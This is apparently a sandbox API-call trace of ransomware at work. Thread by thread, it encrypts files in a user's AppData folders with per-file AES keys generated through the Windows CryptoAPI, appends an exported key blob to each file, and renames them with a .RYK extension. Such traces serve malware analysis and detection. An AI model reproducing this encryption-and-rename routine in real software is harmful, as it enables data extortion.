	[0256.806] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.806] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3497
	os_tid = 0x3c0c

	[0256.808] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0256.808] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.809] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3498
	os_tid = 0x3c10

	[0256.898] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0258.041] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0258.041] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x992f8d8 | out: lpFileSize=0x992f8d8*=32768) returned 1
	[0258.041] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x992f8e8 | out: lpFileSize=0x992f8e8*=32768) returned 1
	[0258.041] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.042] ReadFile (in: hFile=0x5ec, lpBuffer=0x992f930, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x992f8a0, lpOverlapped=0x0 | out: lpBuffer=0x992f930*, lpNumberOfBytesRead=0x992f8a0*=0x19, lpOverlapped=0x0) returned 1
	[0258.045] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0258.045] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x992f8b8 | out: phKey=0x992f8b8*=0x3f7cb0) returned 1
	[0258.045] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0258.045] ReadFile (in: hFile=0x5ec, lpBuffer=0x3980000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x992f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesRead=0x992f8c4*=0x8000, lpOverlapped=0x0) returned 1
	[0258.047] CryptEncrypt (in: hKey=0x3f7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x992f8c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x992f8c0*=0xf4250) returned 1
	[0258.047] CryptEncrypt (in: hKey=0x3f7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3980000*, pdwDataLen=0x992f8c8*=0x8000, dwBufLen=0xf4250 | out: pbData=0x3980000*, pdwDataLen=0x992f8c8*=0x8010) returned 1
	[0258.047] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0258.047] WriteFile (in: hFile=0x5ec, lpBuffer=0x3980000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x992f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesWritten=0x992f8c4*=0x8010, lpOverlapped=0x0) returned 1
	[0258.048] WriteFile (in: hFile=0x5ec, lpBuffer=0x992f8f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x992f8d0, lpOverlapped=0x0 | out: lpBuffer=0x992f8f0*, lpNumberOfBytesWritten=0x992f8d0*=0x6, lpOverlapped=0x0) returned 1
	[0258.048] CryptExportKey (in: hKey=0x3f7cb0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x992f8e0 | out: pbData=0x0*, pdwDataLen=0x992f8e0*=0x10c) returned 1
	[0258.048] CryptExportKey (in: hKey=0x3f7cb0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x992f950, pdwDataLen=0x992f8e0 | out: pbData=0x992f950*, pdwDataLen=0x992f8e0*=0x10c) returned 1
	[0258.048] WriteFile (in: hFile=0x5ec, lpBuffer=0x992f950*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x992f8d0, lpOverlapped=0x0 | out: lpBuffer=0x992f950*, lpNumberOfBytesWritten=0x992f8d0*=0x10c, lpOverlapped=0x0) returned 1
	[0258.048] CloseHandle (hObject=0x5ec) returned 1
	[0258.050] CryptDestroyKey (hKey=0x3f7cb0) returned 1
	[0258.050] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3538
	os_tid = 0x3ca0

	[0258.724] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 0
	[0258.724] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.724] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3539
	os_tid = 0x3ca4

	[0258.728] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms", dwFileAttributes=0x80) returned 1
	[0258.760] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0258.760] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8dcf598 | out: lpFileSize=0x8dcf598*=6656) returned 1
	[0258.760] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8dcf5a8 | out: lpFileSize=0x8dcf5a8*=6656) returned 1
	[0258.760] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x18de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.760] ReadFile (in: hFile=0x708, lpBuffer=0x8dcf5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dcf560, lpOverlapped=0x0 | out: lpBuffer=0x8dcf5f0*, lpNumberOfBytesRead=0x8dcf560*=0x19, lpOverlapped=0x0) returned 1
	[0258.763] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0258.763] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8dcf578 | out: phKey=0x8dcf578*=0x3f7cb0) returned 1
	[0258.764] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0258.764] ReadFile (in: hFile=0x708, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x8dcf584, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x8dcf584*=0x1a00, lpOverlapped=0x0) returned 1
	[0258.765] CryptEncrypt (in: hKey=0x3f7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8dcf580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8dcf580*=0xf4250) returned 1
	[0258.765] CryptEncrypt (in: hKey=0x3f7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x8dcf588*=0x1a00, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x8dcf588*=0x1a10) returned 1
	[0258.765] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0258.765] WriteFile (in: hFile=0x708, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x1a10, lpNumberOfBytesWritten=0x8dcf584, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x8dcf584*=0x1a10, lpOverlapped=0x0) returned 1
	[0258.765] WriteFile (in: hFile=0x708, lpBuffer=0x8dcf5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8dcf590, lpOverlapped=0x0 | out: lpBuffer=0x8dcf5b0*, lpNumberOfBytesWritten=0x8dcf590*=0x6, lpOverlapped=0x0) returned 1
	[0258.765] CryptExportKey (in: hKey=0x3f7cb0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8dcf5a0 | out: pbData=0x0*, pdwDataLen=0x8dcf5a0*=0x10c) returned 1
	[0258.766] CryptExportKey (in: hKey=0x3f7cb0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8dcf610, pdwDataLen=0x8dcf5a0 | out: pbData=0x8dcf610*, pdwDataLen=0x8dcf5a0*=0x10c) returned 1
	[0258.766] WriteFile (in: hFile=0x708, lpBuffer=0x8dcf610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8dcf590, lpOverlapped=0x0 | out: lpBuffer=0x8dcf610*, lpNumberOfBytesWritten=0x8dcf590*=0x10c, lpOverlapped=0x0) returned 1
	[0258.766] CloseHandle (hObject=0x708) returned 1
	[0258.777] CryptDestroyKey (hKey=0x3f7cb0) returned 1
	[0258.777] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3540
	os_tid = 0x3ca8

	[0258.997] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", dwFileAttributes=0x80) returned 0
	[0258.997] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.997] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3545
	os_tid = 0x3cbc

	[0258.998] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", dwFileAttributes=0x80) returned 0
	[0258.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.998] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3546
	os_tid = 0x3cc0

	[0258.999] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", dwFileAttributes=0x80) returned 0
	[0258.999] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.999] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3547
	os_tid = 0x3cc4

	[0259.000] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0259.249] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0259.250] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x958f8d8 | out: lpFileSize=0x958f8d8*=0) returned 1
	[0259.250] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x958f8e8 | out: lpFileSize=0x958f8e8*=0) returned 1
	[0259.250] CloseHandle (hObject=0x6e8) returned 1
	[0259.250] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3548
	os_tid = 0x3cc8

	[0259.002] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0259.254] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0259.255] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x971f818 | out: lpFileSize=0x971f818*=0) returned 1
	[0259.255] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x971f828 | out: lpFileSize=0x971f828*=0) returned 1
	[0259.255] CloseHandle (hObject=0x6e8) returned 1
	[0259.255] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3549
	os_tid = 0x3ccc

	[0259.003] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]", dwFileAttributes=0x80) returned 1
